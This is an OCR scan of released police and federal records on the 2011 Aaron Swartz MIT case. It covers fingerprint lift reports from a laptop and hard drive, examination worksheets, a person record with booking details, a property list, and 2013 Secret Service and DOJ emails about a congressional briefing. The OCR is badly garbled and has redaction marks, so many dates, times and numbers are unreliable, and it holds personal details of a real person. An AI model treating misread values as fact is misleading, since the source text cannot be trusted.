exemplar prints for Aaron SWARTZ (Xtem 9P1) and individuaiiazed it te the #6 impression.

I submitted s Verification Request to Boston Police Dapartmant, "&Tﬁrmﬂ)m) lon Pebruary
2%, 2011.

Verification report received on Maroh 9, 2011. Hee case sttachments for Verification report
and supported documents.

Abproving OFficer
(BEYB).({BH7)C)

Ieporting Offear 0 E e Teview inge OITees

5

(B)(6),(b)(7)(C)




CAMBRIDGE POLICE DEPARTMENT age Lot 3
; CAMBRIDGE, MA

1 Supplementary Report #11000078/1

Approvad For Public View Dale/ Fhne Printed:Frd Apr 15 14:11:21 BEDT 20 By §§§§2)‘Lb’
Case Thie Location

MIT COMPUTHR CRIMES 101 VASSAR ST (BLD 1)

Date/Time Reported Date/Timo Occurred

N1/04/2011 10:149:900 to

incldent Type/Oifgnse

MISCELLANKEOUS GTATUTORY VIOLATION(993999)

|ﬂ.ole Name Sex lnuo 008 lPhone Addrass

iharma)

Status Name ox ace  _Age D08 haone ddress
, [svsPECT (b)(8) {b)(7)(C) 8 |WHITB [(B)(6).(BITHC) Jromn (b)(8),(bX7NC)

(DNBLNTI

i Vehicleh

Role

Stolen § Rec Code Date Re¢ $ Rec By

Yascription

NS VEE ) R
EVIDENCE:

8Pl: (1) known fingerprint card for Asron SWARTZ, DOB: 11/08/1986, W/, OBTN:
TCAM201100032, collegted on January 8§, 201l.

The following collected on scene oan 01/04/2011. See lat Incident report for this case.

UPl: (1) amall clear binge lifter from the hotkcom right corner of the inner bard-dxive
unit (C82b). Collected at approx. 1321 hours.
(Continued on next page)

pproving Ctieer, il :
((b)i6).(E)(7)(C) X
. (0473572011 14393:2

11:50¢20)|




CAMBRIDGE POLICE DEPARTMENT bage af2
CAMBRIDGE, MA
Supplementary Report #11000078/1

B){8).{b)
Approved For Public View Dute/Time Printed: Pxd Apr 15 14:11:21 RDT 208w£7LC&
Fasa Title | ocauon
MIT COMPUTER CRIMES 302 YASIAR ST (BLD 1)
Date/Time Reported ate/Time Occurred
01/04/2011 10:49:00 to
ncident Type/Qffense
MISCELLANEQUS BTATUTORY VIOLATION(999934)

MNAITILIVE (Continued from

LP2y (1) emall olsar hinge lifter from the top right cormer of the ianer hard drive
unit {C82k). Colleated at approx. 1224 houre.

LP3: (1) small clear hinge lifter from the middle left side of laptop screen
(c81). Colledatad at approx. 1226 hours.

LP4: (1) small clear hinge lifter from the upper left vormer of the laptop eareen
{CS1). Collected at approx. 1230 hours.

LPS: (1) amall cleazr hinge 1iftexr from the upper right cozner of the laptop screen
{C81). Collected st approx. 1232 bours.

LPS: (1) emall clear hinge lLifter from the middle zight side of the laptop wmoreen
(C81), Collectad at approx. 1235 hours.

NARRATIVE:

On January 4, 201} and January 6, 2011 I examined the above latent primt lifta and relevent
photographs to determins their value for comparison. LP1, LP2, LP3, LP4, and LPS ware
determinad to contain insufficient ridge detail for comparison. LPF was determined te contain
dnsufficient quantity and quality for individualization but aontained sufficient detail for
exclusion. I compaxed LP6 to BP1l and exoluded Aaron SWARTE as @ the donoy foxr LP6,

LP1-LP6 are secured in ID Unit case files.

Repatting G er

i’\l‘l\rt'winn'(‘li'liru' i
(b)(8).(b){7XC) 8

(b)(6).(b)(7)(C)

Reviewing Qiticer




Identification Unit

Cambridéa’l’olice Department

LATENT PRINT EXAMINATION WORKSHEET

~1 Cased: /= 2:2) 7 &

Lateut#:

Processing Techpique:
Powder: | L Chemical:

Phota: l_}/'-‘v"«!) Othet _nZS

|2 /]/( /awa ‘“/‘-’lf

ey,

l‘

SPEX fintry

Date Entered: g
Exaniner:
Invencd rJ o
: patten: [/} 15 ] I ] 0] [P
Core Present: Delta Présent; |,
Skeleton: A
: -# of Points; .
Submitted to Databaso: Eﬁ
LN, . . .
(ﬂ L F‘iggg,r): Paim [mpression nitial QED Supplemeatal: [
: Candidate List Searched and Reviewed: /{22}"
(Q EDC oF Roce Mise. Notes: ) T
Valae for Comparisen SR b @ vﬁ"-(_la ekt Z;Cﬂééﬂ;.___ .
naal Coj on;
Name DOB OBTN
|\ Saera Gurin 108/ 3. TEa n3d_ (17
2{(bX8),(BN7NC) _{eXx8). <°>(7‘(C) I
4! ~ 5
4.
- . -
6 s i
7 —
8. " S
9. .
i0.____ . .
- 2700




(*ambndg\fohce Department Y Caset: _[/‘-,/7

Identification Unit Latent#: £ (5 of
Exauiner/ (B)6).(bX7KC)

LATENT PRINT EXAMINATION WORKSHEET | Date: @Qa =~y

sostrmron o

Agj b Hgrtonadveohie,
L :] 3 D s -1: i
Patiern Type/Ridgo Flow / /M & adot e)/’ reld

_ Incipient ridges, scars, wails /uu(,,
Quality (distartion) tl caeis, /Uvéf e Ce~ -
: A,Lplg(.d &/m%
,.«(,41.444./

A Level 2 Detail:

Ridge Morphology (size/shape) /f/u/ 7/ j%hﬁi‘
E }

Target/Unique ridgo deteil
Level 3 Detail: L

Pore/Rdge defail 2alae, /ﬁm ;Zalm.f j’da/m mué{f

Secondary Crenses

Tdlviduals Compared: 5%;4»:72 Aarn WM, Das.

" Individualization: :“),,.UZ M‘v\_ W/ M DoB ///957//7?4
' 2l (D) Fhir TTHny 20 1] 5003 3

m Ageney: &zjn:m/

Nate Submitted: .Q 425 /‘,?()/ /Date Verified: 3 A / / R0t/

2. OrF

RESULT NOTES
Not suitable rur gearch but snirable for comparison

Unable to inake compunson due to poor quality of
_impressions on the ten-print card S AR
Checlced a3 far as possible and mmmm  unidentificd

(E)(6).(b)

“Insufficient detail to esiablish identity but sufficient
| detail to present to exclude identity S
Insufficient detail {o either establish or exclude
identity - ,/.

Insufficient detail for comparison purposes /

2710




CAMBRIDGE POLICE DEPARTMENT Page Lol
CAMBRIDGE, MA
Incident Report #1 1000078 )
Approved Por Pubiié vigw: L i %! vt Dilw/TinePrintédiThy Apr 07 16:05:13 20T 20 By J(7)C)
Case Titie Location
MIT COMPUTER CRIMBY 301 VASSAR ST (BLD 1)
Date/Time Repaerted JatesTime Occunied
01/04/201) 10:148:00 to
ncident Type/Offense

MISCELLANECUS STATUTORY VIOLATION(99%999)

< Peraohd

ihomea}

1ee)

Status Name Sex ce Age DOB

hone Address

hamel
(coll)

teal)

Type

Year !

ake

Viodel

Color

Req ¢

flate

ntolen §

Rec Code

$)ate Rec

Recs

[Rec By

Mode!

erial #

Value

iy v b

v ol b ¥ ot dih el i3 FERRRIEE fLn] o
INGH A VER R R RO R T R T

b G N ergd

635

| (04/07/2011 13754:88)




CAMBRIDGE POLICE DEPARTMENT Piged td
CAMBRIDGE, MA
Incident Report #11000078 | T
Approved For Publig View Date/Time Prinjed; Thu Apr 07 16:05:13 EDT 208y [(7)C)
Case Title J-ocation
HNIT COMPUTER CRIMES 301 VASSAR 8T (BLD 1)
Date/Time Reported ate/Time Occurred
01/04/2011 10149100 %o
nddent Type/Offense

a Bamsuny, Modal: MD134UI,

dhaceRIRNACINDIGRS

envelopa,

CRANGIIIIUNRANENSA

seANAEASRARNSO D
NARRATIVES

INarrtive. (Contihuad! from p ,
“RocketPish® on the top snd bottom reads, *RP 3.5 SATA lid enolosure kit RF-AHD3S®
compartmont l® a green alectronic circuit panel. A USB cord connects €82 to CS1.

CS2bs (1) inner herd drive unit, or internal vemovable unit located inside C92, Unit ie

LPL: (1) emall clear hinge lifter
unit (CS2b). Collentsd st approx. 1231 hours.
LP2:1 (1) small cleear hinge lifter
unit (C82b). Collected at approx. 1224 hours.

LPF3: (1) small clear hinge 1ifter from the middle left side of laptop screen
{C81). Collected at approx. 1226 hours.

LP4: (1) small clear hinge iifter from the upper left cormer of the laptop screen
(C81). C(Collected at approx. 1330 hours.

LPS;: (1) small ¢lear hiange lifter from the upper right corner of the laptop scresa
(C81) . Collackted at approx, 1232 hours.

LP61 (1) ewall clear hinge lifter from the middle right sids of the laptop scresn
(C81) ., cCollected at approx. 134% hours.

MISCELLANEOUS STATUTQORY VIOLATION(999999}

SWy 351Y6J2CT800326.

PHOTOS) (8%) photos collected on scens an 01/04/2011.

On Jasuary 4, 2011,

I(b)(B).(b)U)(C)

an incident that oceurred within BLDG #16,
b)(8).(bX71C) MI? Datectives and other Jecret dexvice Agents.
arrived at Bldg 1§ and procasded to the basement level to a closst (labeled #16-004L)

that was secured by MIT officers on scene. We observed double doers opening to a closet area
containing phone and computer network portale according to MIT IT specialists on sita. The
closet was spprox. 4 faet deep by 6 feet wide, the floor covered in dust and
olactrical/computer/phone panals lined the walls, some w/ wirss plugged into the panels/units.
I observed a okair in the center of the room with a laptoep om top.
wag placed thexre by MIT IT spsciaslists. On the floor, I azlac obaserved a czardboard box turned
(Continued on next page)

Inside the

The £ollowing evidence collected on gcene by me on 01/04/2011 and sealed in a small coin

from the bottem right corner of the inner hard-drive

trom the top right corner of the imner bard drive

Lnd I responded to the MIT Police Station to assist with
We were ascorted to the location by CPD Detective
At approx. 1108 hours, we

We were advieed this

Renorting Officer S0

Rudicwing O ftiver Approving QG

2712




CAMBRIDGE POLICE DEPARTMENT —
CAMBRIDGE, MA
Incident Report #11000078 _—

Apbroved_For Public View DatefTime Printed, Thu Apr 07 16105513 Eor 20pv|((©)
“ase Tide Location

MIT COMOUTAR CRIMRS 301 VASSAR ST (BLD 1)
2ate/Time Reported Date/Tlme Occurred
01/04/3013 10149100 -0

ncldent Type/Offense

MIACRLLANNOUS STAIDTORY VIOLATION (999999}

Nilﬁ:lti\'c {Continucd from paga 2) ! ?

over, a small laptop (C81l), and a silver hard drive cocmpartment (C82) with power

cords and data cables connecting them to the computer panels on the wall. Specifically, a
grey wire connests the laptop to a Cisco Systems Catalyst 4006 in Row #4, plug #3,

‘The scene was documented with notes and photagraphs. Then I examined the laptop, hard-drive
ccmpartment and inner unit (C8l, €83, C82b) and accompanying power c¢ords and USB cords

for any vieible ridge detail. PFaint ridge detall wae observed on the laptop dcreen. I fumed
the laptop, hard-drive snd inner unit (CTBl, €32, C82b) and power/UER cords with a

portable fuming wand. I than used traditional black fingerpriat powdsr to enhance any ridge
dotall on the surfaces of those itsme. Ridge detsil wae obeserved on the inner hard drive unit
{C82b} and raeulted in 2 latent print lifte {(LPL, LP2). Ridge detail was also

observad surrounding the laptop screen (C81) resulting in 4 latent print lifts

(LP3I-LPS), ¥o further ridge detail was observed on any other surfaces.

The items €81, CB2 and C82bd were left in the custody of MIT Detectives and flecrat Service
Agents.

We olasared the escane at approx. 1300 hours,

Repirling Officdnl L IRevicwinm Ofticer Approvine OFficen
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Cambrid;}é'?olice Department
Identification Unit

LATENT PRINT EXAMINATION WOR_KSHEET

mns > <.

Latent#:
Examineyy” (0)(6).(OX

Dale: Q";é/"" 74 /
i

" e Powder;
: Photo:

Chemical:
Other:___ .

%4 wa_*%wu

SPEX Entry - ,’

Examiner:

Inverted; E]

!

3 . o .

g A Date Entered: A!d:_«_
8

@

Value for Comparison / @

Core Present: |—
Skeleton: [
i #of Points:____
Subrmitted to Dat
Finger Palm Impression Initial QED Supyl

- " Marp Ig;('lCmup:n'isun: ’ _
. /’
Narme DoB OBTN —
L B L g e // :
2. 4_,—#’\\‘J///_-___-“—-L ‘f/f”’ ..... e
5 . )*_i =
4. . -/ ————
5. / Pl s
G. o / (b)(W""’ s o —
7.
8. / / -
L % —_
10. T ST
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Cambridge Police Depariment Casedt: [/ ~ 3000 25

Identification Unit L“"““‘%
o Emmims {b)(6).(bY7UC)

LATENT PRINT EXAMINATION WORKSHEET | Date: a;/ /2 / 77

2 WS IY Syt

Level | Detail:
Pattern Type/Ridge Flow

_ Inocipient ridges, scars, warts
Quality (distortion)

A Lovel 2 Detail:
_ Ridgs Morphelogy w'vclshapo)
! Target/Unique ridge detail

Level 3 Detail:
Pore/Hdge detail
Secondary Creases

Individuals Campared:

s Individualizatipn: ~

E Bxclusion:
Inconclusive: /

(B)B),(bXHAC)

- —

V Agency: yd .

~+[ate- Subphitted——— - ©o e Pate Vel

/
RESULT NOTES

e o el
Not suitable I’or/aaﬁch but suitable for comparison

Unable 1o ;X)A(b comgarison due t&ﬁ&?{ quality of

_impressiong/on the ten-print card - ; e R AR

(.hccku/u(s far as possible and remmns wsidentified

/
Insufficient detaif to establish identity but sufficient
detail to present to oxclude identity

Insufficient detail o cither establish or exclude
idendity

St neses ses 8 Penbma kAsease e @ amoras0se Wbaeasseaty eme ui 440le

e T TSP

B

Insutficient detail for compaison purposes
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Cambridéﬂ’olice Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEETY

we

Date: é"él(.: 12841

Processing Technigue:

N 1
Powder; [ Chemioal: ['/KC’/ SRR
Pho;o: Othes: LI
SPEX Eutry )
DateButered: /
Examines:
' ‘ _ .lnvcr@ed: D
' ) . ) ) - § Pattern: I Rsl
' . Core Present: , '
Skeleton;
i -#of Points:___
< fl«‘finger >  Pam Impression
Valne for Comparison - / ,Q,/) '
. e
Manual Comnparigon: f,,,—"/ .
Name noB 01';'1'1;//
/ .
.[‘. __.._-—""",-\ e /
2. // ‘ N
3 pd —
4. / //
S.
6' —-/ (b)(e],(b)% - ...;4-.. e ARt A A Bt v S S SE S —
9, e
8. ',/'/ I //
9. . el )
10— P R
- - o 2718



Identification Unit

Cam b'ridge‘&P/olice Department

LATENT PRINT EXAMINATION WORKSHEET

Examiner; : j

Level 1 Detail:

Pattern Type/Ridge Flow
Incipient ridges, scars, warts
Quality (distortion)

Lavel 2 Detai}:
Ridge Morphology (size/shape)
Target/Unique ridge detail

Level 3 Detail:
Pore/Bdge detail
Sccondary Creases

Individualization: ~

Exclusion:

Inconclusive;

(bX6).(6X7XC)

Ageney:

=

VAR

Date Verified:

Date Subrrﬁt/ted:
/.

RESULT NOTES

“Not suitable for :?{ch but suitable for conparison

v—-

Unable %o makg/cornpnrison due to poor quality of
impressions of1 the ten-print card -

Checked usAar as pessible and remains unidentified

fficiut defail to estabiish identity but sufficient
detailgo present to exclude identily

ficient detail to either establish or exclude
identity
Insufficient detail for comparison purposes




v A "';“v.;t
& s \
IS \,
B L i \‘\

Identification Unit

;- 5 o T EIEIQP ,.25?-3"\‘1
Sereerd
e et Eymumsoiny
,{L
£
AR
, \

A
]

e e
-

“-—
Finger )

S

Palm

\ L

Impression

Csmbrid;\c’l"ulice Department

LATENT PRINT EXAMINATION WORKSHEEY

Examiner

(b)(8).{bU7)C)
1 Date: ! : 4

7

. yd
Veehnique; S é? ’
Powder: Chemical: el @ ) B %
Phote: Other: y %0y 0 Eoe

R

/..

Date Entered: /{K__

Examiner: o
Inverted: I

Pat"ccm: f

csent:

]

Zandidate List Searched and Reviewed:
Misc. Notes:

]

Valae for Comparison < R ey

S - Manuxd Comparisons
Name . DO0OR OBTN
L SWperze, Oacon Wglian,  TeAMasllcen3a "
4(0)(8).(bY7 KC) I(b)(ﬁ).(b)(7)(0) l

S

— 0 ® G

A

W,




N\
Cambndge Police Departinent
Tdentification Unit

>y LATENT PRINT EXAMINATION WORKSHEET

S RICEW w,m
PattemTypeJliidge Flow N lW AHee “j 24 W
. ‘Incipient ridges, scars, warts C ot )01 24844

i

Quality (distortion)

Lovel 2 Detail : : L oy

Ridge Morphology (size/shape) Q\OL d&fd&p ’é 76

Target/Uniqus ridgs detail énw U Y2l d RALAGN 2=
dtq ,& L W)

~ . é‘,égf 2 Coeey'S ;Z 2D belonc)

Level 3 Detail:
Pore/Edge detail Jone. et A2 7&/ Lot nﬁ“ é&u é;//
Secondary Creases L o GPA.

Indxvxduajs L,mm)an(gg/b/(),t;efg ﬁdfﬁt 2 }1//4 doB: ///0 8 / /1986 -
TTHAMROIIOOO 32

T e

C (._‘p.L (BY(B).LXTHC)

Indmduahzatxon :

M, b‘db‘ V] 09//99é
E Exclusion: SWAera, Harin, 7/ e /94 Py

Incnnclusiw{ (bX6),(BYTXC) /

V Agency:
e Date Sutnnitted: =~ - PataVerifled -
" RESULT NOTES
Not zuitable for search but suitablo for camparison
s P A T b)(8),(bY7HC e
Unable th meke companson due to poor quality of = e (6)8),XTNC)
impressions on the ten-print cacd - L7 e
C d

hecked o8 far a3 possibie and remains unidentific BYEMENTIC) -Zg

TInsufficicat detail to establish ideutity but sufficient

detall 10 present to exclude identity ff{’im __f:: (b;fa}),gﬁ%‘)/ S
Insufficient detail to either establish or exclude

identity L -

Ingutficient detail for compavison purposes . T N
e 2719_J
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("Shibi"iﬁgt'lj’olico-Department

2 [dentification Unit

LATENT PRINT EXAMINATION WORKSHEET

Cusclb: /= 2000 78
Latenti;
Examiner .
Date: 2077
! nrna ey,

T T T TR T T

1

- »

um
TAMM D]

Progessing Technigue: Chnnp |
Powder: [ o] Chemicsl: ?“"’u -
Photo: | U(hcufﬂ' 2L LY oA

SPEX Eutry

ORF- e
T g, car

Examiner:

Date Entered: __/\//t.__.

Inverted: D

Core Present: D

Pattern: Lai J ' Ls J

Skeleton:
: ) -# of Points:_
Submitted to Datab
L ot e, WSRO B . . .
1 Ringer Palm Impression Initiel QBD Sy (1
= Candidate Mst Searched dd Reviewed: ]
Value for Comparison - .
et RO P
© WMamed Cumpnyisons To s ,,/ :
Name D08 ow/ / |
//1 il . ‘
Pl
— ;_/ e
\ P
e

| (BHE)BNTHC) L

i
z |
1

o rtrs e § Sttt o Somee

SO AR W
|

i
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CamBridge_ Police Department
Identiftcation Unit

LATENT PRINT Emumnon WORKSHRLET

& g _1

Caseths (/- gﬁ& 2‘2‘2
Latentfh, of
Txaminey/ (b)6).(b}7)(C)
Date:__ e

Level 1 Detail:

Pattemn Type/Ridge Flow
Incipient ridges, scas, warls
Quality (distortion)

A Leyel 2 Detall: -
- Ridge Morphology (size/shape)
I Target/Unique ridge detail

Pore/Edge detail
Secondary Cre

Madivide

== Pate-Veritied:" "

RESULY NOTES

...... PRI

Not suitable fy&carch but suimhlc\ﬁ r comparison

Cnable to nydke }:bmpanson dus to poor quality of
Improssions on the ten-print eard -

Checked 4s far as possible and 1 mmm unidentified

.Insuf ifeient ddml to establish identity but sufficient
detailto present to exclude identity

Insufficient detail o either establish or excluds
identily .

—aerinemstaman e 2003 oem o0 sae

Insufficient detail for compaxison purposes




Cagmlg_ridge\ﬁgliceDepartment
Identification Unit

SPEX Entry

Pate Entered: [
Examiner: e /
Inverted: D L X

Pattern: Eg] lzs . M..E
Core Present:
Skeleton:
-#of Points:____
Submitted to D
Tnitial QED §

Floger . Palin Inpression

Value for Cbmpar'ison / M

L

s Mmesk Commrisong- 0 0 e o~
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A ¥ . -
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L
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Cambﬁdge Police Departinent
Identification Unit

LATENT PRINT EXAMINATION SWORKSHEET

[ixawmines:

Date: Z/ GID/U/

Lavel | Detail:
Pattern Type/Ridgs Flow

~ Incipient ridges, scars, warts
Quality (distortion)

Lovel 2 Detail:
Ridge Morphology (ssze/shapc)
; Target/Unique ridge detail

Level 3 Detail:
Pore/Bdge detail
Se¢condary Creases

/

Individuals Compared:

©  Individualization: ~
E Exclusion:
Inconelusive;
V : Agonoy: /
© Pate Suhmitlpé" Bte Ve 0 —
o /
/ RESULT NOTES . - 2

Not suitable for search Hut suitable for ¢ umpm ison

“Unable to make compatison dus to poox c-uahty of
| impressions on the n En-print card -

Checked a3 far as gossible and remains umrlentfied -

Tnsufficient dejAil to establish identity but sofficient
letail to presghit to exclude identity .

Insufficientfletail fo cither establish or sxciuda
identity .

Insuffictbut detail for comparison purpases
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, v ! ‘ :
Cambridge Police Department ; (‘ascﬁ /f-;‘fW&

Identification Unit - Latent:
Examiner”” (b)(BXT0)7RC)

LATENT PRINT EXAMINATION WORKSHEET Date: ﬁ/z//aw//
77

L30T 1.5 CARS

Ll v 2. UV e et WU

Photo: Other:

eesemsasnem o emaes

!’J.?.‘.&EL“LL" irgie: ( : ¥
Powder; B—./éz'&-(‘hrmml [t /a/\'./‘ U/
i _ l

SPEX Entry
Date Bntered:___ /1//Y

Bxaminer:

Skeleton:
i . - , # of Points:__
. ' - Submifted to

Fiuger .  Palm Impression

Value foy (fompa‘rison / @

Name .

1.

2

3

4,

B

6. . .
Y AR -
$_ ~
9.__. /
1

L1 A




R TR A

Cambridge Police Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Cagel: //‘6)000 7%

Tatent$: éZﬁ of /g
Exawi (bX6),(bX7H

Date:_y/ &f, [202/

Level 1 Detuil:

Pattern Type/Ridge Flow
Incipient ridges, scars, waris
Quality (distortion)

- o e ey

Leve il:
Ridge Morphology (sxzo/almpe)
Target/Unique ridge detail

Levyel 3 Detail:
Pore/Edge detail
Secondary Creases

Individuals Compared:

Individualization; ~

l E _Exclusion;
T . (6)(6),(b)7XC)
Incotclusive:
V' A,gancy . ~ /
- “Date w;vﬁucd- \ / = Pate Verifted: - T
Vi \/
/ Y RESULTNOTES

Not siitable for 7‘[011 but suitable for compm‘lson

Unable to n;zé comparison due to poor quality of
impressionsdn the tea-print card

Checked 38 far as possible and lemmm s unidentified

lnsufi}ﬁent detail to esteblish identity but sufficient
detail to present to exclude idontity

i gnon e e e st = fnmmmen be

Pesame st erer o s asesearrss tear b sem oan cen ien

o dews e

Insufficient detail to either cstablish or ¢ excluds
identity . e

Insufficient detail for comparison purposes
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Cambndge%l:ce Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

echnique; e, ¢
AAAAA Chemical [Zf W 0 4
Phato: Other: -
‘ J SPIX Entry
i oy A’r‘:‘ (\
: ZL l. w'a w‘ b ﬁ,\? ‘ Daie Bnteved: _/_Yjﬁ‘____ /
ﬁ: 6"’ g Examiney: S
——pE Inverded: D ) )
) i i Paner'n:[ Rsl l Ls-l l W ” ‘ ‘_ P/\YM
) Care Present; L
Skeleton:
i . ’ # of boints:__
: : Submitted to L
Finger  Paim Lpression nitial QBD S
~ Candidate Lis ]
Mige. Noy '
Value for Comparison / M ‘ o

Manual Comparison: - . /
Name Do8 ~OBIN

O S b e

=

ered
o
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Cambri(;EEquli_ce Department
Identification Unit

LATENT PRINT EXAMINATION WORKSHEET

Date:_// %Z 2oLl

Level 1 Detajl:

Pattern Type/Ridge Flow
Incipient ridges, scars, werts
Quality (distortion)

f.evel 2 Detail:
Ridge Morphology (size/shape)
Target/Unique ridge detail

Level 3 Detail:
Pore/Edge detail
Secondary Creases

—

Individuals Compared:

Individualizstion;

Bxclusion:

Inconclustve: {b)(6).(6X7X

\ /

Agency:

st et Date Submitte Nate Verified:
rd _
____RESULT NOTFES B L
rcom;:amson
or quality of |
L umd—g“mlﬁedv o i - seniim e E i s SR s i

| Hisufficient detail for comparison purposes

2127




Main Porm

CAMBRIDGE POLICE DEPARTMENT

CAMBRIOGE, MA

Master Person #: 1100000437

Page 1 of 3

Basic Person Information

Name: AARON H SWARTZ

Address: (b)(8),(bX7XC)

City:

State/Zip:

Gender: MALE

Height: 506 Welght:

DOB: 11/08/1986 Age:

Physical Charactaristics

Hair Color Eye Color Buaild Cemplexion

BROWN BROWN THIN FAIR

Scarz Marks sad Tatlos

Peorsonal Data

Race Ethnlchy Residency

WHITE NOT OF HISPANIC ORIGIN NONRESIDENT

HomePhane | Work Phons Cell Phane
[©)8).)7)C)

Emali Address

;Wstlw Statos Maiden Name

UNMARRIED

[Mother Nam Father
[Ia)(e).a:)(?)(C) isg)’{ o b‘)"mm‘i m( )8),(BX

S ; Birth Country )

(b)(6).(b)(7 (gg(g)\.(b) Y

: = {

Lice Stute Country Qlsm | Eapirstion Date
[b)(e)'(b)‘7)(o) CA 11/08/2013

hitp://pd-rms2/QED//policepartner/common/crimeweb/mniview/main,jspTagency=CAM-P...

2728
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Main Form Page 2 of 3

Employer
Employer
Qccopation Employer Employer Phone
RESEARCH AT HAR HARVARD U
Employer Address
124 MOUNT AUBURN ST #52 CAMBRIDGE MA

Finger Prints

Finger Prints
Printg Taken? Priot # Dale/Time Taken
Y TCAM201100 01/06/2011 14:57:26
SiD# FBI # State Prob Num

Entry Information

Enlry Information
.Eglﬁ?ﬂ!i.mm__.. DT Enterad
Fix ).(B)7)(C) 01/06/201 1
ndades TV DT Updated
I I 0222312011
Names
Name(s)
Name Type Last Name First Narue Middle Name Sulfix
TRUE SWARTZ AARON H
ALIAS SWARTZ AARON H
ALIAS SWARTZ AARON H

2729
http://pd-tms2/QED//policepartner/common/crimeweb/mniview/main.jspYagency=CAM-P...  4/7/2011



Main Porm Page 3of 3

Addresses
Address(es)
Num Street Name Apt City State Date Entered
950 MASSACHUSETTS AVE CAMBRIDGE MA 0211/2011 00:00:00
(D)(B).ABUTHC) 01/06/2011 00:00:00
01/06/2011 00.00:00
Links
Activities
Application  Record Date Record Information
Link Informatiun

ARREST Booking date: 2011-01-06 14:46:26 Arrest date: 2011-01-06
BOOKINGS 0062011 4. 5.0y

SC&mplaim #: 1100000023 Charge Code: 266/18/B Desc: BE DAYTIME FOR FELONY ¢266
QFFENDER 01/06/2011 CAM-PD INCIDENT #: 11000131-0 OFFENDERK #: 1
DEFENDANT

QFFENDER 01/04/2011 CAM-PD INCIDENT #: 11000078-1 OFFENDER #: {

SUSPECT

OFFENDER 01/04/2011 CAM-PD INCIDENT #: 11000078-3 OFFENDER #: 1

SUSPECT

2730
http:/pd-rms2/QED//policepartnericommon/crimeweb/mniview/main.jsp?agency=CAM-P...  4/7/2011



Prisoner Property Inforimation for Booking #TCAM201100032

742 aad] | CAMBRIDGE POLICE DEPARTMENT
WL, ] CAMBRIDGE, MA
2%/ | Prisoner Propeny Report

¢ L)
4

v’

Page | of 1

Below Listed Property Removed From:

Name DOB

ID Number

AARON H SWARTZ 11/08/1986

1100000437

Address

24

CAMBRIDGE MA

Property Removed Froin Prisoner

Property #: |

Property Type Tag ID  |Storage Location

PERSONAL PROPBRTY

PLASTIC BIN, PLASTIC BAG

Propersty Description

keys. black coat and running shoe

headphones, pen, cell phone, ear muffs, black wallet with ID's and 100.01 in cash and two sets of

Release / Transfer From Police Custody

I Certify the above property is a correct Jist of property taken from me at the time of my arrest,

Prisoness Signature: Date: Time:

I Certify the receipt of ali the above listed items,

Prisoners Signature: Date: Time: S
Officers Signature: Date: Time: -

2731

htp://pd-ms2/QED//site/C AM-PD/booking/PrisProperty.isp*agency=CAM-PD&booknum...  4/7/2011
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February 23, 2011

Hi
1 m“e your help with this. Iknow the work load you are up against,

The submitted photos are of { latent, tabeled LP8. It was developed on the surface of an
internal hard-drive unit. The photos are taken prior to any processing. Only an ALS was
used. Once the ltem was fumed and processed the detail was minimized or lost.

Thank you again. Feel free to contact me with questions or to allow me to return the favor
of assisting you with any casework.
(B)6).(b)7XC)
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<?xmi version="1,0" encoding="UTF-8" standalone="yes" ?>

<s:clrMap xmins:a="http:/ /schemas.openxmiformats.org/drawingmi/ 2006/ main”
bgi="It1" tx1="dk1" bg2="1t2" tx2:="dk2" accentl ="accentl” accent2="accent2"
accentd="accentd" accentd="accentd" accentS="accentS" accent6="accents"
hiink="hilnk" folHlink="folHlink" />
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Page 1 of 1

- <xml xmins;o="urnischemas-microsoft~com:office:office">

<0:MainFile HRef=",./FW%20Bullding% 2016.htm" />
<o:Flle HRef="themeadata,thmx" />
<0:Flle HRef="colorschememapping.xmi” />
<o:File HRef="Image@01.jpg" />
<0:Flle HRef="image002.jpg" />
<0:Flle HRef="image003.jpg" />
<o:Flla HRel="Image004.fpg" />
<o:Flle HRef="Image00S.ipg° />
<0:File HRef="imaga008.jpg” />
<0:File HRef="Image007.jpg" />
<o:File HRef="Image008.jpg" />
=0:Flle HRef="Iimage009.ipg" />
<a:File HRef="filelist.xml" />
</xml>
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FARON PARAMORE (GPA)

From: Wade Tyson, Jill C (OLA) ‘("%}(6%'“’) l@usdoj,gov]

Sent: Tuesday, January 22, 201

To: ARON PARAMORE (GPA)

Ca: (b)(8).{bX7HC) Bhq.dhs.gov

Subject: RE U.S. Secrat Service - Aaron Swartz case out of Boston

DAD Paramore:

Thanks for your e-mail. T will get back to you shortly with the right POCs here. We have a
few attorneys working on this matter and I want to ensure I get you to the right place.

~3CT

3111 C. Tyson (Wade)
Attorney Advisor
U.S. DEPARTMENT OF JUSTICE

) islative Affairs
v(b)(s)-(b)n)(C) SDOJ . gov
(EXB).{b)XT)C) - direct

----- Original Message----- '
From: FARON PARAMORE (GPA) [mailts|®XBLMBIZHC)  hysss.uhs.yov)
Sent: Tuesday, January 22, 2013 10:59 AM

To: Wade Tyson, Jill € (OLA)

C

CULHO)OK7HC)__ phy, divs . gov
Subject: U.S. Secret Service - Aaron Swartz case out of Boston

Good Morning Ms. Wade, hope you are well.

Ma‘am, my name 1s Faron K. Paramore, I serve as the Deputy Assistant Director in the OfFfice
of Congressional Affairs for the U.S. Secret Service.

Last Thursday afternoon (1/17/13) I was contacted by a Mr. professional staff
with the House Oversight & Government Reform Committee (Majority Staff - Chairmen Issa),
requesting to recelve a briefing from the U.S, Secret Service regarding our role /
lnvestigation of the Aaron Swartz case out of Baston, MA,

Ma'am, at your convenience would it be possible for me to give you & call to discuss this
matter.

Thank you very much for your time.

Faron K. Paramore

Deputy Assistant Director
Office of Congressional Affairs
United States Secret Service

Ph: _(292) 406-5676 Main line
{B)(8).(b)(7)C) Oirect line
Cell

(202) a06-5740 Fax

2736



FARON PARAMORE (GPA)

From: FARON PARAMORE (GPA)

Sent: Tuesday, January 22, 2013 1:05 PM

To: PALIL MORRISSEY (GPA); JANE MURPHY (INV), HUGH DUNLEAVY (INV)

Ce: FARON PARAMORE (GPA); LYNDA WILLIAMS {(GPA) _ '

Subject: Call w/ DOJ regarding Aaron Swartz case ! bnefing to House Oversight & Gov't Reform
Committes

Good afternoon, hope you are well.

SAIC Williams and I just spoke with Ms, Molly Gaston from DOJ's Office of Legislative
Affairs.

Ms. Gaston advised that they were also telephonically contacted by Chairman Issa’s staff last

Thursday afternoon, requesting to provide a briefing on the Swartz case. per USDOJ/OIP/OLA

(bX(5)

I will advise the group of D03's decision once I hear back from Ms. Gaston.
Thanks much.

Facon.

Faron K. Paramore

Deputy Assistant Director
